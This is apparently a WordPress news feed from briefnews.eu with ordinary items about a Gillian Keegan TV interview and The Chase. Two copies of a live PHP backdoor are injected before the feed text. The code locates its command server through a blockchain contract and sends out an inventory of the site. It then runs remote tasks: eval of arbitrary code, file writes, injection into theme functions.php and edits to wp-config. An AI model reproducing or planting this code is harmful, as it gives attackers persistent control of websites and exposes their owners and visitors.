// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); matter – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 10:46:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png matter – Brief News https://briefnews.eu 32 32 A Wheel Made of ‘Odd Matter’ Spontaneously Rolls Uphill https://briefnews.eu/a-wheel-made-of-odd-matter-spontaneously-rolls-uphill/ https://briefnews.eu/a-wheel-made-of-odd-matter-spontaneously-rolls-uphill/#respond Mon, 26 Sep 2022 10:46:37 +0000 https://briefnews.eu/a-wheel-made-of-odd-matter-spontaneously-rolls-uphill/ Physicists have solved a key problem of robotic locomotion by revising the usual rules of interaction between simple component parts.


https://media.wired.com/photos/632e2a6540fe1e8870aa3bad/master/pass/quanta_Odd-wheels-2880x1620_Lede.jpg

]]> https://briefnews.eu/a-wheel-made-of-odd-matter-spontaneously-rolls-uphill/feed/ 0 ‘A personal matter’ Gillian Keegan shuts down Ranvir Singh over black aide resignation https://briefnews.eu/a-personal-matter-gillian-keegan-shuts-down-ranvir-singh-over-black-aide-resignation/ https://briefnews.eu/a-personal-matter-gillian-keegan-shuts-down-ranvir-singh-over-black-aide-resignation/#respond Thu, 01 Apr 2021 11:58:13 +0000 https://briefnews.eu/a-personal-matter-gillian-keegan-shuts-down-ranvir-singh-over-black-aide-resignation/

GMB: Ranvir grills Gillian Keegan on Kasumu’s resignation

Gillian Keegan, the Under-Secretary of State for Apprenticeships and Skills was invited onto Good Morning Britain today and her interview occurred just after the news had broken about Samuel Kasumu – Boris Johnson’s most senior black aide has quit his role in government following the results of a report into institutional racism were released. Presenters Ranvir Singh and Charlotte Hawkins were keen to ask her why Kasumu had left his position but the MP was adamant it was nothing something she was going to discuss, claiming it was a “professional” and “personal matter”. 

Related articles

“It’s a personal matter, so it’s not up to me to comment,” Keegan remarked. 

Singh said Kasumu “wanted to resign in February but was talked out of it” he apparently agreed “politics was steep in division” before stating his resignation was a “public matter”. 

“I disagree,” Keegan said. “If someone resigns, it’s a public matter. You would need to get the comment of why he’s resigning from him – that letter is not a comment from him.” 

“You seem very defensive on this, it’s not a very good look from the government,” the presenter commented. 

“No, I’m not defensive at all, I’m saying it’s a matter for him and I can’t defend or talk about why he’s resigned.” the guest explained. 

In terms of the report though, it is an important report. It’s an independent report, so it’s not a government report… Of course, it has a lot of detail in there – 285 pages, I haven’t read all of it, but I’ve read a lot of it now – the Government is obviously considering that report and will respond to it.”

READ MORE: Ranvir Singh probes Meghan Markle’s Presidential bid

gillian keegan ranvir singh Samuel Kasumu ITV GMB

‘A personal matter’ Gillian Keegan slaps down Ranvir Singh over black aide resignation (Image: ITV • FACEBOOK SAMUEL KASUMU)

Hawkins then asked: “There’s this claim that there isn’t institutional racism anymore – do you agree?” 

“You must read the report and not the reports of the report. I think that’s the most important thing,” Keegan replied. 

“What they do, is they down to a very detailed data level and they look at what is happening, they look at disparities, they look at inequality, they do say there is racism.

“There is a lot of criticism in the report, there’s a lot of recommendations in the report as well.

“They do basically say there are a lot of disparities and inequalities and we need to do something about them. But the report has recognised all of these things,” she added. 

“The 10 commissioners have spent a lot of time and effort, spoken to thousands of people and the minimum we can do is take this report seriously and read it and look at the recommendations and respond to it.” 

gmb gillian keegan itv

GMB: Keegan was grilled by the presenters (Image: ITV)

Asked what is the reason Black Caribbean students are six times more likely to be excluded from school if it’s not systemic, Keegan added: “One of the things that I thought was interesting about the report is that we should not use this term BAME, we should look down into very individual differences.

“And for example, they pointed out the difference in Bangladeshi boys’ educational outcomes in London versus Bradford, how different they were.

“So they were saying sometimes there are other factors as well – geography is a factor, the socio-economic background is a factor, family history is a factor. 

“So they looked at many different reasons and what they found was it wasn’t a uniformed picture by race, by different ethnicities, there were different things, and actually the most important thing is to get to policy – to solve the inequalities and the disparities – is you have to be able to act.

“And what actually the report does is get down to that level of detail where it isn’t actually high level,” she said. 

DON’T MISS…
Antiques Roadshow: Omega watch bought for £4 makes whopping profit [VIDEO]
Monty Don disbelief as Alan says how he got him Gardeners’ World job [INTERVIEW]
Line of Duty theory: Steve Arnott knows about Chloe’s secret? [THEORY]

gmb gillian keegan itv

GMB: Keegan refused to comment (Image: ITV)

Related articles

In 2018, 5,084 Caribbean hopefuls applied for the Civil Service fast stream and none succeeded.

Keegan commented: “It’s not good enough… When you say structural racism it makes it out that there’s something there in the structure.

“When you have big differences based on geography, it doesn’t really support structural racism, it supports more nuanced differences.

“Are there occasions where people don’t get all the opportunities that they should, from different ethnic backgrounds? 100 percent there are. And do we need to do more about it? Yes, we do.” 

“Do we need to offer more apprenticeships, apprenticeships are something I’m responsible for?

“We do have groups that look very much at how to encourage more from people of ethnic minorities to take up apprenticeships, they’re a massive social mobility tool and brilliant at getting you on in your careers, but we do need to make sure there is more awareness, that’s one of the recommendations in the report – we need to do more, definitely,” GMB viewers heard the MP say. 

Commenting on the immediate review of safeguarding in schools and the new NSPCC helpline following the social movement of the Everyone’s Invited website where over 11,500 students have shared their experiences of sexual abuse, and asked why was nothing done after a similar report back in 2016, Keegan explained: “It’s not true to say nothing’s been done.

“We have updated our relationship, health and sexual education curriculum and that was introduced in May 2019, it became compulsory in schools from September 2020.

“We’ve also updated our keeping children safe in education guidance.”

Pressed that not enough has been done, Keegan went on: “…the Secretary of State has said he wants Ofsted to do a systematic review to understand what is working and what is not working well.

“The majority of schools take this very, very seriously and will have excellent processes and procedures in place, but we obviously do want to check that.

“There are distressing reports, but in addition there is a lot of other activity as well. We’ve got an Online Safety Bill going through Parliament at the moment, we’ve got a Violence Against Girls and Women bill going through Parliament at the moment,” she commented. 

Good Morning Britain airs weekdays at 6am on ITV. 

Let’s block ads! (Why?)

]]> https://briefnews.eu/a-personal-matter-gillian-keegan-shuts-down-ranvir-singh-over-black-aide-resignation/feed/ 0 Bradley Walsh slams The Chase player after Jenny Ryan jibe ‘What’s the matter with you?’ https://briefnews.eu/bradley-walsh-slams-the-chase-player-after-jenny-ryan-jibe-whats-the-matter-with-you/ https://briefnews.eu/bradley-walsh-slams-the-chase-player-after-jenny-ryan-jibe-whats-the-matter-with-you/#respond Tue, 19 Jan 2021 21:59:04 +0000 https://briefnews.eu/bradley-walsh-slams-the-chase-player-after-jenny-ryan-jibe-whats-the-matter-with-you/

Bradley Walsh returned for a new instalment of The Chase this evening and was joined by contestants Kimberly, James, Niall and Nicola. However, the ITV host was unimpressed with drama teacher Niall when he agreed with a swipe Jenny ‘The Vixen’ Ryan made regarding Bradley’s acting skills. 

Kimberly was the first to take on the Chaser but was unfortunately prevented from reaching the final by Jenny.

James was the next to try his luck at adding money to the jackpot prize fund but not before talking to Bradley about his job.

“I’ve taught quite a lot of things but I’m currently a drama teacher,” James revealed. 

“Are you?” Bradley replied. “That’s cool.”

Read more: Barney Walsh girlfriend: Does Barney Walsh have a girlfriend?

“As well as teach I run two theatre companies so if you’re ever looking for work…,” James joked.

“I saw you in Corrie, you were alright we’re always looking for actors.”

“I love the fact that people do that,” the host remarked. “What shows have you put on recently?”

“Well I played the lion in The Wizard of Oz,” James said and an amused Bradley commented: “Perfect.”

“Good for you,” Bradley replied. “If you some money today James what are you going to do with it?”

“Probably put it towards going to the festival and all of that,” he explained. 

After earning £5,000 in his cash builder round, James was introduced to The Vixen.

“Hello James the joker, Brad’s done a lot of drama and he’s done a lot of comedy,” she remarked. 

“Although when I’m watching him I’m never sure which is which,” Jenny swiped. 

“This is true,” James agreed. “This is true.”

Bradley hit back: “Don’t join in what’s the matter with you?”

In the end, Niall was the only contestant to make it through to the final chase but was ultimately beaten by Jenny.

The Chase airs weekdays on ITV at 5pm.

Let’s block ads! (Why?)

]]> https://briefnews.eu/bradley-walsh-slams-the-chase-player-after-jenny-ryan-jibe-whats-the-matter-with-you/feed/ 0 The Chase: Bradley Walsh told off by player as he mocks her error ‘Not a laughing matter’ https://briefnews.eu/the-chase-bradley-walsh-told-off-by-player-as-he-mocks-her-error-not-a-laughing-matter/ https://briefnews.eu/the-chase-bradley-walsh-told-off-by-player-as-he-mocks-her-error-not-a-laughing-matter/#respond Thu, 05 Nov 2020 19:09:29 +0000 https://briefnews.eu/the-chase-bradley-walsh-told-off-by-player-as-he-mocks-her-error-not-a-laughing-matter/

“That’s their game. Not necessarily history this. This is geography,” he told the contestant, to which she replied: “Well, I don’t know.”

The host was insistent he knew the category the question fell under, telling Becky “not to change the subject.”

Bradley was quite pleased with himself over the joke he made, albeit being at the contestant’s expense as he chuckled away.

Mark also saw the funny side of the joke as he applauded Bradley’s quick wit, but the player didn’t seem as appeased.

“It’s not a laughing matter,” she told the host before he proceeded to reveal the answer, signifying the geography teacher had made the wrong guess with Walter Raleigh.

Let’s block ads! (Why?)

